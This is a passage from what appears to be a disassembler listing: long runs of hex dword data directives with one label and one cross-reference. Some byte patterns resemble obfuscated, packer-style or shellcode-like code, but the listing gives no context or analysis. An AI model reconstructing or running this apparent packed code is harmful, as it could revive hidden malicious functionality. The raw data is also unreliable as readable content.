5C402B63h, 3B5491E5h dd 0ACBF0ABFh, 53AB34C6h, 0FEC378DEh, 91FB2C6Dh, 0D382EDDAh dd 0BC8A5176h, 0D5CEAE6Fh, 14695A78h, 0EEDFA06h, 0D036CE1Bh dd 5306D498h, 409BFEA9h, 1788Ah, 0E52C3500h, 13EFDC93h dd 9B5491D4h, 899780CDh, 987C6977h, 205491D3h, 0B99FEC52h dd 9C4F8BBFh, 2058BE04h, 8F46EB14h, 67B47D81h, 50A597CFh dd 43F839C6h, 0B2FEADBFh, 89A94B8Eh, 3201E5D2h, 0BB895492h dd 2CF3DA83h, 0C6D88FF9h, 493C5348h, 42538BBEh, 50EA8BE0h dd 31467CF0h, 34h, 8FF92CDCh, 0EED2BFDAh, 765491D3h, 0A49FD05Ah dd 1E840F46h, 9CAABF69h, 0E880CD64h, 34C69FB0h, 3C293EF5h dd 5491D358h, 0C9DA12E0h, 16046DFEh, 67000000h, 0DA8FF92Ch dd 0D3EED2BFh, 51CD5491h, 0C6ACBF9Ch, 0FE40F534h, 93E52C6Dh dd 0F6DAC7DCh, 7E5491D3h, 786578B0h, 5491D3A8h, 46EB1523h dd 1B2961F9h, 517004Dh, 0EE6C6C98h, 0A8B4ECEAh, 6F719057h dd 91F09E82h, 0F2582654h, 0F53CC3A5h, 44AA10A8h, 39C659AEh dd 422943F8h, 0C70ADBFh, 0BAB79804h, 3FA9DC82h, 0EA8BE08Ah dd 467CF050h, 5631h, 32CCDA00h, 2CB6C7FFh, 0C6D88FF9h dd 50F39803h, 293A72A5h, 0E34EB1BFh, 0B3C6FE96h, 91D3E2C6h dd 0E79C6A54h, 0B1BFACBFh, 0FA92DF4Ah, 0D3725643h, 2CFA5491h dd 0C912E8F4h, 0DD10D3Dh, 90FD01FFh, 0C0C12BDFh, 83E948B9h dd 8D58661Dh, 0FE43548Ch, 19046Dh, 2C670000h, 0BFDA8FF9h dd 91D3EED2h, 9C51CD54h, 34C6ACBFh, 75DB56ABh, 46DFEC0h dd 0E3h, 93E52C67h, 0D413EFDCh, 84965491h, 1CCF2A3Fh, 7DF8F05Bh dd 4DD10F8Ch, 89A1AFE7h, 0D66EBB76h, 0BE412370h, 0C688DD73h dd 2943F839h, 34B1BF42h, 0C80098E5h, 0D085F322h, 0DF4AB1BFh dd 0D0C2FA92h, 557A6B79h, 0D11E84A5h, 0EAF00139h, 467CF050h dd 8E6D7B90h, 0D4280C9Bh, 0E2B05791h, 3738AAh, 2CE30000h dd 0CAD88FF9h, 0B5C6FE1Bh, 0D9BDAABFh, 615491D3h, 5B485B93h dd 5491D377h, 0BF7C31FFh, 0F534C6ACh, 0BF6DFE40h, 0F77303ADh dd 0C3772BEEh, 0FBC9010Ch, 4Bh, 50B1BF5Eh, 0B0D7B93h, 1C82F940h dd 59FF37CFh, 0A15D6B2Ch, 1CAB4390h, 5491E238h, 0D58CF2C0h dd 0AEFB1EC7h, 0B30019CCh, 6C7DB51Bh, 0D3EED2BFh, 51CD5491h dd 34B1BF9Ch, 879AADE5h, 0B404ADBFh, 0EE31ECF8h, 0D950AAB6h dd 0BF6DFE24h, 0D3D9BDAAh, 42615491h, 91D37155h, 0C52BF954h dd 0D43D210Eh, 0F7C55491h, 0E54CB3BFh, 0E64BB698h, 0F7E4F950h dd 5491D513h, 8995CD9Bh, 0AD6EBB76h, 5491D4CFh, 94AA408Eh dd 0D4AE927Fh, 68365491h, 56DB2430h, 0A28F70C0h, 0A05E6C55h dd 74AC4491h, 5C42AFF9h, 0E948B78Eh, 7D3E6953h, 91D4AC90h dd 663454h, 0D9263449h, 0D752A858h, 0D449B49Fh, 83515176h dd 0D6957536h, 0E4175A78h, 0E516F845h, 0FD59F744h, 0B60BA2EFh dd 28DC3DA8h, 13EC04Eh, 470B43B7h, 0BC1CC6B1h, 55FD409Bh dd 0A8000000h, 1FAA39C6h, 292AEF64h, 0FD0BC228h, 7A803001h dd 0E5CE77AFh, 0F43DC2D0h, 92B18165h, 0EF10954h, 0D83ED623h dd 0B1D1B5A0h, 0A05B5492h, 0B1674B38h, 21EF5492h, 748C6EBBh dd 76D270BDh, 5AA81B60h, 0E74AB58Ch, 84811E30h, 5DAA8779h dd 0D83C11C5h, 9FF4E61Eh, 0ABF839C6h, 0DD94042Fh, 7DA284F0h dd 586D8C51h, 7E46876Bh, 0B2410F5Ah, 5A7E46CEh, 6B228856h dd 46856956h, 3F0D5A7Eh, 0F82B1507h, 81ECD990h, 89576346h dd 0CDAD6EBBh, 68606548h, 2D11FE13h, 0B5606549h, 1DEBAFE7h dd 0AF89C06Ah, 3EA14Eh, 2C4C0000h, 0EFDC93E5h, 5491D41Bh dd 101ED5A3h, 2206F3D5h, 0AA5491D4h, 543825DCh, 0DC5491D3h dd 0E3F1A80Eh, 0F2D6C31Dh, 7A5491D3h, 1C0E46ACh, 0DFC3B0C5h dd 675491D3h, 1E936199h, 0F6000000h, 0DC93E52Ch, 91D41FEFh dd 0FC839F54h, 41639086h, 3644FB61h, 0A5B36AAFh, 0AFA1D940h dd 169045Ah, 2C670000h, 29DF94E6h, 0F839C642h, 0EA8BE043h dd 467CF050h, 4E31h, 0E62CDC00h, 317E9B4Ah, 0BF7E3399h dd 93E049B1h, 1DDD69ADh, 0B81E743Ch, 9C806D80h, 1F549256h dd 0F542EF11h, 0F7AA070Fh, 6ED411F6h, 0B5ED3CBEh, 0BF24D9A7h dd 96E34EB1h, 0ED5419B0h, 0A60C51CEh, 0C6485B6Eh, 0FE45FA1Fh dd 42046Dh, 2C670000h, 0CFDD94E6h, 0E849B82Fh, 0BF394A82h dd 0CA5F9CAAh, 0CE639B7Dh, 0CF83E981h, 290E8C7Eh, 8F32BFAh dd 5491E124h, 0BF8E95A7h, 0F8D7DA7Eh, 4078B948h, 0BF580D89h dd 0CE639CAAh, 1FC68596h, 6DFE45FAh, 0E534B1BFh, 895EA1ADh dd 0A257BD5Ch, 0B3324029h, 43301966h, 5491D35Fh, 7BB319E7h dd 41F92C6Ah, 0D2284850h, 0BE720A57h, 99FF64DDh, 4EB1BFE4h dd 0C6FE96E3h, 50EA7FD4h, 31467CF0h, 2Dh, 8FF92CDCh, 0EED2BFDAh dd 765491D3h, 0ACBFF3A8h, 40F534C6h, 0AABF6DFEh, 91D3D9BDh dd 5B936154h, 298Dh, 5E0EE00h, 0F72FC714h, 4AB1BFE6h, 0D401A7DFh dd 113A7D16h, 0FD63CA61h, 0EED2BF48h, 0CD5491D3h, 0ACBF9C51h dd 40F534C6h, 3BC66DFEh, 9E8A9F6h, 0E65491D4h, 7634FB0Dh dd 3D281FC8h, 95AB4105h, 0B2AF9380h, 45325492h, 5492B261h dd 9B691BE9h, 87AA5763h, 11889AF1h, 0FF26E5D3h, 0C6DBEC24h dd 0C7A9F63Bh, 0D6AAF73Ah, 2C3A10E6h, 3B1F0CD4h, 0C35491D4h dd 6DF8FF5h, 0F62EC613h, 841A17EAh, 91DB0755h, 9E47D354h dd 7F457CF1h, 0FFFFFE67h, 0BDAABF2Ah, 5491D3D9h, 0B9C3C55Fh dd 0CD7F1B5Dh, 83964FFFh, 0BF80604Bh, 0E9FB5492h, 0B9E7FB17h dd 78639BE7h, 5491E418h, 91E3DEBBh, 57445954h, 5491E373h dd 0D4179F9h, 580AEEC8h, 8767528Ah, 2A5491ECh, 5491EC4Ah dd 91ED0DEDh, 5AC2F594h, 3E67B6A3h, 0CFE71178h, 4B98FE2Bh dd 7D34A4CFh dd 61116590h, 0FB1FED17h, 1F04AB1Dh, 0D7E68A67h, 0DC000002h dd 2B7B1108h, 74C45ACFh, 0C212A871h, 0D5DF33Eh, 8CA53BEEh dd 2EFB0023h, 7BB64898h, 0C56C95E5h, 1120DF2Fh, 0A08DA67Bh dd 5A7E4EBCh, 0C6D95E44h, 2FABF839h, 0CBDD9404h, 269628E6h dd 0D9EC2445h, 9F48B6C4h, 0B969CF62h, 0C6B1E948h, 517E545Eh dd 0CBFA905Eh, 5A7EF8EBh, 8138A0D3h, 9CF25A6Ch, 65009482h dd 7FCA9478h, 0E84E1C5Ah, 9981C5B0h, 3B09576Bh, 0A8897684h dd 0F43DC212h, 3E0EE6A7h, 7B89606Ch, 0CE74AC85h, 0E0CDE2A5h dd 606C3DFCh, 4327B684h, 0CB606C3Dh, 0CBE097FDh, 9EEB3EBDh dd 7E624F06h, 6606C3Dh, 35150038h, 0B05D580Bh, 88D55CA2h dd 0DCAAB8F0h, 0FFE81725h, 0FFE12EFBh, 4CE43100h, 9AEA80E6h dd 37FCC65h, 9CB168D0h, 88C0718Eh, 447F319Dh, 0F9223463h dd 0BF6A91C6h, 3D26DA72h, 0D9E71F71h, 1142BE0Bh, 0C6DBF0A7h dd 4559F5D9h, 0FFAF7D6Ch, 4AE22F02h, 27EF2712h, 556A6931h dd 31CB8468h, 63E0C72h, 5E732AF8h, 467EAB50h, 0D66CC53Ah dd 6BB87986h, 31C1CAAAh, 1781B272h, 0B40B7360h, 3D0B6F1Dh dd 0D94374F0h, 4BA23522h, 0DCAA7503h, 624E6AB8h, 7D21FEC1h dd 192h, 0C056C321h, 99F8A70h, 57ED2CB9h, 0A238F907h, 0EA80A952h dd 0B64568D1h, 718DDD73h, 27DA2AC0h, 0DB24740Ah, 0D2EBC056h dd 7E5001E5h, 1EA3895Ah, 0DA91FB2Ch, 7DA285EDh, 79668551h dd 5A7E4695h, 9CE94F1Dh, 0D75AA5B3h, 0D859A88Ah, 558DF38Bh dd 5D1484AFh, 69C03A48h, 474B4631h, 85535763h, 26ECB61h dd 1CC09DDFh, 126h, 2CC2578Dh, 750B1EDCh, 0C359C025h, 0EA48D73h dd 56EC3DBEh, 4AB1D43Dh, 5F949DFh, 0BB46962Ch, 6F90E076h dd 3E572CC2h, 7E4F6D51h, 8A0FF55Ah, 0DA91FB2Ch, 7DA10DEDh dd 8A758D51h, 0BF441A7h, 0CA5D3AF9h, 4AB74EC3h, 9C029AE7h dd 8AA75864h, 855BA4F4h, 7E8CB498h, 86E3C5Ah, 3CC4D2BBh dd 4269B2A7h, 66B664h, 87F122C8h, 0E39FE3D0h, 59275769h dd 0C66B94A2h, 553B9379h, 3FC51DCBh, 5FAFA1D9h, 0C2D78E9Bh dd 6A05F1D5h, 73AB7960h, 65B43181h, 956A78CFh, 3784AD52h dd 7889399Fh, 9CD46CB9h, 2BC17090h, 3CBF20DBh, 0A208A0EDh dd 57A3B50Ch, 533724D7h, 0DB6069F3h, 0EDEB590Dh, 56A5B1E9h dd 896FF585h, 0E54BD709h, 32FFFF4Fh, 7CB54C9Ch, 0DFC3B0C5h dd 676069F3h, 1F6F6199h, 6BBB51E0h, 0D9E79E93h, 2F530722h dd 0E36DF55h, 0EADC14h, 99AE65D7h, 0CCB39784h dword_596968 dd 6D3B606Ah, 9B064A35h, 0C08E5D56h, 0C36E9173h, 141B2Dh ; DATA XREF: sub_542C3C+6B87o dd 0BF7E0000h, 5A75A9ADh, 9255896Dh, 8F431154h, 0F32B4C29h dd 1EC63479h, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h dd 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h, 516FBB08h dd 0B850E189h, 6F012159h, 3A75F72Dh, 48D0F746h, 54993540h dd 0C101D739h, 4E98358h, 5C240C87h, 621568h, 242C8900h dd 175F68h, 24148900h, 91BD5557h, 8161A658h, 4A2BBDF5h dd 5DEF8964h, 835FFD89h, 248904ECh, 24048124h, 4, 4EC815Ah dd 89000000h, 428F242Ch, 24148B08h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 8B5C243Ch, 8952242Ch, 4C281E2h, 81000000h dd 4C2h, 24148700h, 1EDE95Ch, 5C7FFFFBh, 6E464F4h, 7E12B8C4h dd 0C50305ECh, 49E9C38Bh, 60000001h, 820F60h, 0B5000000h dd 8E86121h, 71000000h, 67024F2Eh, 66D9098Ch, 59EF1CBEh dd 56B58D61h, 6A05EC7Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 7FCEC357h, 60292A31h dd 0DE8D38Bh, 9A000000h, 93273E4Fh, 0F0C024B8h, 602E08A1h dd 5ACBB70Fh, 71858D61h, 0FC05EA46h, 6AD0FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 130B43C3h dd 6057600Eh, 8B665F61h, 0E9C361FBh, 0Bh, 0F181D7F0h, 3B4C0ACEh dd 661CB279h, 0FE9D98Ch, 0D0000000h, 91A9760Ch, 0DB7BDEC9h dd 4FC81E3Bh, 0C1F66AFCh, 39840F04h, 0FC000000h, 0CB8BFB8Bh dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6ACF00h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 1E157CC3h, 0CAFEA2A2h, 0E96709C2h, 13h, 0F021AAC0h dd 90E3458h, 95788B1Bh, 0A6685C33h, 0FD2FF42h, 78Fh, 5B86000h dd 615B7F9Ah, 7F8F85C7h, 13F05ECh, 8D8D0001h, 5EC80E9h dd 2AED8529h, 8D8905E7h, 5E71AA9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 7AC35545h, 8221CCA6h, 331F69C7h dd 0E72065BDh, 4D85C705h, 0B005E72Ah, 89000061h, 0E7151585h dd 6800F05h, 8B000000h, 0E724E5BDh, 3985C705h, 5E727h dd 0FF000000h, 0E72029B5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B6081977h dd 8E961A4h, 0E7000000h, 0FC3E0204h, 0FF1070CBh, 0E7179595h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 3602AD3h, 0E720F18Dh, 0F61FC05h, 0C80h dd 68D0F00h, 8B000000h, 0E708C99Dh, 0C19D0905h, 6A05E707h dd 0C195FF00h, 8B05E721h, 870DEBC0h, 5FFB749Ah, 4F1C5093h dd 4A947720h, 81D78D8Dh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 205A43C3h, 3624B688h dd 9D095309h, 5E71835h, 1AA98D89h, 6A05E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BF0FE2C3h dd 5234BAD1h, 85C76B78h, 5E72A4Dh, 6618h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 37C35141h, 9F138A36h dd 21858B50h, 0E905E70Bh, 6, 0EE0A0038h, 85C73B18h, 5E72739h dd 0 dd 15B5FFFCh, 6A05E71Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0BFD7C353h, 85AE46B9h dd 9595FF93h, 8905E717h, 0E71B9595h, 0FF006A05h, 0E721C195h dd 0EBC08B05h, 0A26F936Dh, 85630709h, 2097C836h, 9F6FA6EFh dd 0D55AC6DCh, 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh dd 0FFCFC336h, 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h dd 8C66B3A9h, 0C697BE7Eh, 7C51B13h, 78920EAFh, 0ECBE05B2h dd 0D7D1544Dh, 2A16AE8h, 87210B79h, 7B132679h, 8680BB3Eh dd 0BB92639Eh, 0C60194A4h, 0F2A94955h, 13EC1374h, 4A1DE803h dd 0AE6BA46Fh, 7125F09Ah, 3540048Eh, 70F978F2h, 8557FE23h dd 85308360h, 243F311Eh, 78674655h, 88422221h, 30071AAEh dd 3DF53E22h, 0DC383123h, 351C328Fh, 0B64CE0A3h, 0D21BB49Eh dd 0B18C3126h, 35C1313Dh, 35E034CBh, 2C73BF23h, 0D7B92AAFh dd 30D11464h, 3688D87Dh, 2BB83123h, 53902F73h, 0B04CFBA8h dd 300CB34Ah, 0DD233149h, 35383120h, 6EDF6A03h, 312A6DAAh dd 312375A2h, 3583313Ah, 89026260h, 352AB5D6h, 0B9038FCFh dd 0BE681E3Eh, 1118B8E8h, 0F3CCB045h, 7E82BCB3h, 5F86DDA1h dd 36296023h, 15E03123h, 0BC29F27Ah, 0B43C156Fh, 28181567h dd 740E3123h, 0F340F272h, 73686EE0h, 5BD1375Bh, 35E6D973h dd 0D2613123h, 3FA63E21h, 3A4E6143h, 53566B12h, 6F66C8A8h dd 65A735AAh, 6C38BA45h, 3F3DA4DCh, 351A34C4h, 353BD971h dd 6F3C3123h, 61876BE0h, 71863507h, 35983507h, 67833123h dd 0C52C16E0h, 2355277Eh, 67F8BA9Eh, 351C25CAh, 7ED51A23h dd 7EC0B573h, 8FB522Fh, 76A005C2h, 9C833A50h, 88F36F27h dd 30DF3DA2h, 0B6154423h, 0D226289Eh, 2C733126h, 0F5086273h dd 35C54B9Bh, 4865B823h, 0B875D627h, 0DC8CA2BEh, 6ECFCE26h dd 2CB3B27Bh, 3502D60Bh, 66D32657h, 35C54B9Bh, 4865B823h dd 0B875D627h, 0DC89B3BEh, 6ECFCE26h, 600E5B7Bh, 350732CBh dd 0F6DE1123h, 11ADB87Eh, 11A4B027h, 35702427h, 0F66D7423h dd 0B413071Bh, 350E312Bh, 3505BB2Ch, 6CD13123h, 0D96C8F9Dh dd 5F20BA63h, 36986723h, 15383123h, 0BC42F27Dh, 0B40A1557h dd 2E031567h, 73833123h, 0F2F1F275h, 0D11B284h, 0A8FD4D13h dd 30D4B370h, 3514D975h, 7C083123h, 0C2E7E4C7h, 0B4E5CC06h dd 6FF906E1h, 0E165BC7Ch, 0B475DD5Dh, 0D88E3DF9h, 0E6A33E5Fh dd 3564E1DCh, 3504D970h, 6EA33123h, 69486AE0h, 71613507h dd 356A3507h, 667B3123h, 0B3A615E0h, 0B62BB453h, 3E8BD7A3h dd 59073EE3h, 3AC13123h, 35E028A1h, 8A7F5123h, 3537D8D9h dd 4AB43123h, 0A8132148h, 9B3E273Ah, 0ADB1FA55h, 0A84C5082h dd 30077C07h, 0DD273149h, 35383120h, 6ADF6E03h, 312A4DAAh dd 312375A2h, 35833137h, 71026664h, 28613EDAh, 0DD703123h dd 35383137h, 61D1E4E8h, 4D979472h, 81F93540h, 73A95DB4h dd 5B7B0DFAh, 6A13BA45h, 3570329Bh, 0B8DBCE23h, 0D99E6ABEh dd 0CB855726h, 4BD3B4AEh, 35E934CFh, 35C2D971h, 6FC03123h dd 61F96BE0h, 71B93507h, 350B3507h, 674C3123h, 3D356AE0h dd 0CAC283AAh, 3E11BAF3h, 6B643EE3h, 3A703123h, 353831ACh dd 1181BC23h, 5F0BD66Eh, 36EF6123h, 15833123h, 0BC99F27Bh dd 0B4E41567h, 29741567h, 75383123h, 32AEF273h, 0B24B8CA1h dd 8DFACB3Eh, 35833122h, 0DD943149h, 35E03120h, 68B36C03h dd 311C5DAAh, 313875A2h, 350E3135h, 31C46466h, 0DF09450Ch dd 5391D2DCh, 5630E6A2h, 55EDBC7Dh, 0DC3DDDA1h, 351C312Dh dd 0B2B79F11h, 0C8BC622h, 4BB3FB37h, 0B04CD059h, 300C4FF7h dd 3575BA2Ch, 0B45E3123h, 0CACC5ECAh, 3507D9F3h, 71633123h dd 2F11E1E3h, 8FE6AF41h, 514A5F8Fh, 3AB03A7Dh, 35385EA7h dd 0E5975723h, 782AACAEh, 0DD6734C4h, 35833125h, 0E6F6C5CEh dd 8D860343h, 5428895Ah, 3538329Bh, 3510D823h, 31D33123h dd 6A8CA1E3h, 27CFE2C0h, 0D63EC30Ch, 0DDB03149h, 35703120h dd 6DFB6903h, 313875AAh, 312A75A2h, 3507313Ah, 4C406163h dd 0AD129EA1h, 35F4D87Bh, 116E3123h, 0F65C80BDh, 3D8F4616h dd 1206D1C3h, 94C834AEh, 0C408ED8Eh, 35D3D860h, 0C80F3123h dd 0A1E263EAh, 4072A804h, 8181B7F2h, 0F2630C6Fh, 3505B62Ch dd 0C6083123h, 0B7888CAEh, 0B86D34CFh, 309CB748h, 7E644C9Bh dd 849902A9h, 1E0BD612h, 0BEB8F0ECh, 26D99E6Ah, 0AECB8557h dd 0CF4BD3B4h, 7135E934h, 2335C2D9h, 0E06FC031h, 0F305E983h dd 0BFC08BA4h, 2854098Bh, 0E1BE66h, 8D0FC38Bh, 3, 8B5FF850h dd 0F6E181C0h, 6642C82Ah, 83BBFFBFh, 0E70C81BDh, 9750005h dd 2819BD83h, 740005E7h, 8B535019h, 47AB8C0h, 85890000h dd 5E71775h, 0B4FA9D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h dd 50177400h, 47AB853h, 85890000h, 5E71775h, 0B19B9D8Dh dd 0D3FF05E9h, 0D78B585Bh, 8B0CDD80h, 5A8D8DC0h, 2B05EC87h dd 0E72115B5h, 0A98D8905h, 0E905E71Ah, 10h, 0A6625279h dd 68728E4h, 60FAAEB5h, 0B1254393h, 2A4D85C7h, 6B1805E7h dd 0BD8B0000h, 5E7035Dh, 273985C7h, 5E7h, 0C8800000h, 55B5FFA8h dd 6605E715h, 0FF16D6BFh, 0E7179595h, 28F08005h, 95FF006Ah dd 5E721C1h, 1CEBC08Bh, 5A6B99F6h, 72869CF8h, 20BB1EACh dd 6C841723h, 0B71BD5E1h, 0D77DCF91h, 0FE9F4124h, 266E9h dd 8C666000h, 4C1F6D9h, 35840Fh, 16A0000h, 899B5FFh, 858D05E7h dd 5EA7DA1h, 8589D0FFh, 5E72061h, 0EFC1FE8Bh, 680Ch, 6A2006h dd 6857026Ah, 1000Dh, 206195FFh, 32E905E7h, 0C6000000h dd 0E732A585h, 0DF685605h, 0FFA9C530h, 0E72B05B5h, 0A1858D05h dd 0FF05EA7Dh, 0C18589D0h, 8D05E71Bh, 0E70AED85h, 406A5005h dd 0FF56056Ah, 0E71BC195h, 0C36105h, 2 dup(0) dd 52000000h, 8B60D48Bh, 85890842h, 5EC87FEh, 890C428Bh dd 0EC87F685h, 10428B05h, 87FA8589h, 0B58D05ECh, 5EC8834h dd 7E35858Dh, 0D0FF005Bh, 0CC25A61h, 0FEB58B00h, 8B05EC87h dd 0EC87F685h, 0FABD8305h, 5EC87h, 7840Fh, 6890000h, 2E9h dd 0CF068800h, 2 dup(0) dd 60D48B52h, 8908428Bh, 0EC87FE85h, 85B58D05h, 8D05EC88h dd 5B7E3585h, 61D0FF00h, 0FE858B5Ah, 0C205EC87h, 858B0004h dd 5EC87FEh, 8589008Bh, 5EC87FEh, 0CFh, 0B5896000h, 5EC885Bh dd 88578589h, 858D05ECh, 5E71209h, 8944408Bh, 0EC889485h dd 0CAB58D05h, 8D05EC88h, 5B7E3585h, 61D0FF00h, 885B858Bh dd 8BC305ECh, 0EC88579Dh, 43B70F05h, 8BD8033Ch, 9D03785Bh dd 5EC8857h, 324738Bh, 0EC8857B5h, 7B8B5605h, 1C738B20h dd 8857BD03h, 0B50305ECh, 5EC8857h, 0FFC983FCh, 5B9D8B41h dd 8B05EC88h, 57950317h, 8305EC88h, 28A04C7h, 840FC084h dd 0Fh, 850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 57850386h, 8905EC88h dd 0EC885B85h, 8BF08B05h, 81C18BCEh, 0EC8894BDh, 30000005h dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h dd 3FF8h, 8894BD8Bh, 0C8305ECh, 148B0607h, 24C28B07h, 8B813C81h dd 57840FC1h, 81000000h, 0EC8894BDh, 30000005h, 0D850FC0h dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h dd 2Dh, 6088340h, 8000F7h, 840F0000h, 1Eh, 8894BD81h, 5ECh dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h, 8DCF0608h dd 0EC880285h, 8D858905h, 8D05E720h, 0EC889885h, 89858905h dd 8D05E70Ch, 0EC885F85h, 0B1858905h, 0E905E70Ch, 13Ch dd 4Fh dup(0) dd 319DBD83h, 0F0105E7h, 4BC84h, 1860F00h, 0F8000000h dd 32A585C6h, 6A4305E7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 9318C353h, 0D37B163Bh dd 7890FA4h, 0F000000h, 18Ch, 0AC68F800h, 0F858C75h, 1285h dd 0F525000h, 89h, 0F310F00h, 81h, 81585A00h, 5B492404h dd 840F6719h, 9, 810F60h, 0F5000000h, 5B5FF61h, 0F05E72Bh dd 18Dh, 858DF900h, 5EA7DA1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 60C35141h, 0C78B6660h, 2890Fh dd 23B20000h, 0F9D0FF61h, 2E558589h, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 1D320EC3h dd 0FB8B8F7h, 18Ah, 85C6F800h, 5E732A5h, 0AE96050h, 9F000000h dd 0F93A9702h, 0ECDF504Ch, 8E87Ch, 0AE040000h, 8B35FF5Bh dd 0DC8A1982h, 1F686158h, 0FAF2F94h, 1182h, 0CE900h, 212F0000h dd 0D260B343h, 0AE947B51h, 34815EABh, 82394924h, 0FFF8FC07h dd 0E72B05B5h, 0CE905h, 0B670000h, 0D8994507h, 0D9E24EC6h dd 0EE90A90h, 0E6000000h, 3FFAA7C8h, 0FF7B3294h, 7C0D5F15h dd 0A1858D71h, 0E905EA7Dh, 0Ch, 840C5EBEh, 0E1AD2443h dd 77AA8684h, 0E960D0FFh, 6, 9860F9A6h, 7E9565Fh, 10000000h dd 0E9D1AEDAh, 8961BB43h, 0E719F985h, 1800F05h, 0F9000000h dd 86C11D68h, 666060EBh, 0B5B350B9h, 0C88B6109h, 24348161h dd 1B096932h, 7E9h, 22AA4300h, 18C1F4A7h, 2B05B5FFh, 8B0F05E7h dd 13h, 0EE9h, 1FDF3900h, 3732187Fh, 5029A651h, 8DC3E1D2h dd 0EA7DA185h, 0EE905h, 1A930000h, 65E03379h, 4AFAB899h dd 5659468h, 0FE9h, 6813200h, 0E5482D9Fh, 4F88EF62h, 924703BCh dd 0AE9D0FFh, 77000000h, 7BEF2BE3h, 0C96F809Ah, 458589DCh dd 6A05E703h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0D493C352h, 0B05BE999h, 6CD09A2Bh dd 0CA8B6660h, 783ECCBAh, 0FE9614Eh, 7D000000h, 96771284h dd 0C549D92Dh, 5632F19Dh, 85C6A40Bh, 5E732A5h, 8A68F950h dd 0F5D1A1Dh, 0C81h, 6880F00h, 0F000000h, 8Eh, 24048100h dd 3A82BECCh, 12800Fh, 0DE90000h, 2000000h, 0EA0B4CFAh dd 0BFDB2F31h, 9F3F39Dh, 899B5FFh, 5E905E7h, 0DC000000h dd 33F40931h, 392A858Dh, 606005E7h, 12E9h, 4029A00h, 9E8CCBFh dd 52AF1B6Dh, 0FB43A908h, 81280FBCh, 18382BE9h, 880F6173h dd 3, 61D7BF0Fh, 880FD0FFh, 8, 28A0Fh, 61600000h, 16298589h dd 8F0F05E7h, 18h, 13E9h, 0E89CDA00h, 4BE969B9h, 93BD981Eh dd 0F667DC8Eh, 43CD8A30h, 1A8E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 14E9A6h, 5AF20000h dd 783F6E59h, 37CCFC59h, 8D6BFA3Bh, 516DCF81h, 0E995D57Ch dd 5, 7753DBD3h, 8F0F50D1h, 18h, 13E9h, 28A0F00h, 364C9794h dd 390D4AC1h, 1C479D2Bh, 8102D994h, 8BF8F895h, 10820FECh dd 0E9000000h, 0Bh, 0A7E4054h, 20B5389Ch, 831F97DDh, 6AFCC4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0F2D149C3h, 9E04834Ch, 12E991h, 22F10000h, 1A7ED09Ch dd 3D7AA206h, 8459307Bh, 0EFD5DDBEh, 0A8F0F60h, 60000000h dd 8D0Fh, 0CF8B0000h, 0E861h, 815A0000h, 0EC8F39EAh, 0FC45C705h dd 0 dd 319DBA83h, 0F0105E7h, 9884h, 6A5200h, 92FF0F6Ah, 5E72E55h dd 0F82895Ah, 8D05EC8Ah, 0EC8A139Ah, 3C75205h, 128h, 92FF5053h dd 5E719F9h, 9A8D525Ah, 5EC8A13h, 0FB2FF53h, 0FF05EC8Ah dd 0E7162992h, 0C00B5A05h, 9A8D5074h, 5EC8A13h, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 79BA8D0Ch, 8B05E72Fh, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 0E72F7982h, 92FF5005h, 5E70345h, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 6AF800h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 2A115AC3h, 0E8D28BF5h, 11h, 79223CA1h, 6E9B88EBh dd 60D992E9h, 0D699EBB8h, 0C2BA6677h, 81F8589Eh, 5B47C0h dd 0EE900h, 3A6B0000h, 197E4175h, 5004EDB1h, 5AB5EA67h dd 16A168h, 81665000h, 5AAFC8EEh, 0CFBB6659h, 0F30FFFFh dd 0D83h, 8E900h, 6C950000h, 8CF8EA20h, 665F51A8h, 0F781F38Bh dd 3E448C3Fh, 8E9h, 96F7BB00h, 7C550BADh, 8F781F9h, 816EF79Eh dd 94D96FF6h, 0ECEF8103h, 0E91E18BDh, 0Dh, 13CEB84Dh, 91E3A543h dd 